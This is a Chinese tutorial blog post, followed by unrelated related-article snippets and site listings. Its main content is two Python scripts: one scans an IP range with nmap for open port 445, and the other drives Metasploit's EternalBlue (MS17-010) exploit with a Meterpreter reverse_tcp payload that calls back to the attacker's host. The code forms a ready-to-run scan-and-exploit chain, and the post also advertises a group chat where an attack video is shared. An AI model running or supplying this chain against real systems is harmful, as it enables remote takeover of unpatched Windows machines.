python调用metasploit里的MS-17-010模块进行漏洞攻击
起因:看各位大佬们写的shellcode厉害的一匹,可惜自己没学C和汇编
也看不懂shellcode,只能写一个调用metasploit里的模块进行攻击了。
0x01
攻击机:192.168.223.141 kali Linux
目标:192.168.3.5 windows
需要用到的模块(这里我们写两个脚本,一个用于扫描IP段,看看那个IP开了445)
nmap模块
os模块
sys模块 nmap模块kail自带坑的要死,完全没有相关的函数。
手动卸载:pip uninstall nmap
安装:pip insall nmap
0x02
代码分析
sm445.py
nmap模块详解:https://pypi.python.org/pypi/python-nmap/0.6.1
import nmap
import sys
print '[+]nmap scanning...'
def portscanner(sbg):
nmscn=nmap.PortScanner()#实例化nmap.PortScanner对象
nmscn.scan(sbg,'445')#scan('目标IP','端口')
for host in nmscn.all_hosts():#获取扫描到的所有主机
if nmscn[host].has_tcp(445):#判断主机上是否有445端口,
state=nmscn[host]['tcp'][445]['state']#端口445 / TCP在主机打开
if state=="open":#如果端口开放
print '[*]The open 445 ip in:'+host#输出开放端口的IP
portscanner(sys.argv[1])

yhzl.py
import sys
import os
print 'Metasploit executing the ms-17-010 vulnerability attack'#这句话的意思是正在实施MS17010漏洞的攻击
def sds(config):
config=open('yhzl.rc','w')#首先我们来创建一个xxx.rc的文件
#把你要使用到的模块和对应的参数写入xxx.rc里去
config.write('use exploit/windows/smb/ms17_010_eternalblue'+"\n")
config.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp'+"\n")
config.write('set RHOST '+sys.argv[1]+"\n")
config.write('set LHOST '+sys.argv[2]+"\n")
config.write('exploit'+"\n")
sds('')
def main():
mg=os.system('msfconsole -r /root/yhzl.rc')#执行msfconsole -r 路径/xxx.rc,就可以了
if __name__ == '__main__':
main()
运行截图这里就不放了,我怕电脑蓝屏。视频发到群里了,看攻击过程的小伙伴
可以进群看聊天记录。还有欢迎大家进入即刻安全技术交流群:307283889
推荐大家看基本python的书:
《python绝技 运用python成为顶级黑客》 python2x 版本
《python 黑帽子》 python 3x版本
看完实战,或者构造一个思路去实现他。
python调用metasploit里的MS-17-010模块进行漏洞攻击的更多相关文章
- 《自拍教程17》Python调用命令
他山之石 何为他山之石,就是借助外界工具,来实现自己想要的功能. 命令行界面软件, 即各种命令,我们也叫命令行工具, 此类工具也是测试人员或者开发人员常用的工具的一种. 测试人员可以借助这类工具,快速 ...
- Python调用ffpmeg和ffprobe处理视频文件
需求: 运营有若干批次的视频.有上千个,视频文件,有mp4格式的,有ts格式的 现在有需要去掉视频文件片头和片尾的批量操作需求. 比如 文件夹A下面的视频去掉片尾10秒 文件夹B下面的视频去掉片头6秒 ...
- python调用C++之pybind11入门(相互调用)
python调用C/C++有不少的方法,如boost.python, swig, ctypes, pybind11等,这些方法有繁有简,而pybind11的优点是对C++ 11支持很好,API比较简单 ...
- python调用c\c++
前言 python 这门语言,凭借着其极高的易学易用易读性和丰富的扩展带来的学习友好性和项目友好性,近年来迅速成为了越来越多的人们的首选.然而一旦拿python与传统的编程语言(C/C++)如来比较的 ...
- python调用系统命令popen、system
python调用Shell脚本,有两种方法:os.system(cmd)或os.popen(cmd),前者返回值是脚本的退出状态码,后者的返回值是脚本执行过程中的输出内容.所以说一般我们认为popen ...
- python 调用mysql存储过程返回结果集
存储过程: delimiter | ),)) begin select * from tb_test where mid = imid and user = iuser; end; | delimit ...
- 『Python』Python 调用 ZoomEye API 批量获取目标网站IP
#### 20160712 更新 原API的访问方式是以 HTTP 的方式访问的,根据官网最新文档,现在已经修改成 HTTPS 方式,测试可以正常使用API了. 0x 00 前言 ZoomEye 的 ...
- python 调用shell命令三种方法
#!/usr/bin/python是告诉操作系统执行这个脚本的时候,调用/usr/bin下的python解释器: #!/usr/bin/env python这种用法是为了防止操作系统用户没有将pyth ...
- 篇2 安卓app自动化测试-初识python调用appium
篇2 安卓app自动化测试-初识python调用appium --lamecho辣么丑 1.1概要 大家好!我是lamecho(辣么丑),上一篇也是<安卓app自动化测 ...
随机推荐
- 《极客与团队》【PDF】下载
<极客与团队>[PDF]下载链接: https://u253469.ctfile.com/fs/253469-231196337 内容简介 软件开发是一项团队运动,人的因素对结果的影响完全 ...
- Android系统拍照之后回显并且获取文件路径
/*调用拍照返回*/ case PHOTO_REQUEST_GALLERY: if (data != null) { Uri uri = data.getData(); String photopat ...
- jsp程序设计:jstl之JSTL标签库
转载自:http://www.blogjava.net/haizhige/archive/2008/10/26/236783.html,个人进行了一些修改. 前言:写一个taglib一般可以继承Sim ...
- 创建、设置和安装Windows服务
文章大部分内容转自:http://www.cnblogs.com/greatandforever/archive/2008/10/14/1310504.html:和:http://www.cnblog ...
- 从头开始搭建一个Spring boot+ActiveMQ高可用分布式环境
*:first-child { margin-top: 0 !important; } body > *:last-child { margin-bottom: 0 !important; } ...
- Python 项目实践三(Web应用程序)第二篇
接着上节的继续学习,使用Django创建网页的过程通常分三个阶段:定义URL.编写视图和编写模板.首先,你必须定义URL模式,每个URL都被映射到特定的视图--视图函数获取并处理网页所需的数据.视图函 ...
- find 命令的误差估值与单位调整
一.命令简介 find 命令的 -size 参数 单位b(不是byte而是block).c.w.k.M.G.默认是单位b ,也就是1block = 512byte = 0.5kb (文件系统ext4) ...
- Anti-pattern/反模式
常见的与"直觉"相背离的anti-pattern产生的实际原因是没有深入.全面地考虑问题,即只关注到自己关心的方面,忽略了其他重要的.起相反作用的因素. 所以这个"直 ...
- 用Python玩转微信(一)
欢迎大家访问我的个人网站<刘江的博客和教程>:www.liujiangblog.com 主要分享Python 及Django教程以及相关的博客 交流QQ群:453131687 今天偶然看见 ...
- Gradle、Gradle Wrapper与Android Plugin for Gradle
欢迎和大家交流技术相关问题: 邮箱: jiangxinnju@163.com 博客园地址: http://www.cnblogs.com/jiangxinnju GitHub地址: https://g ...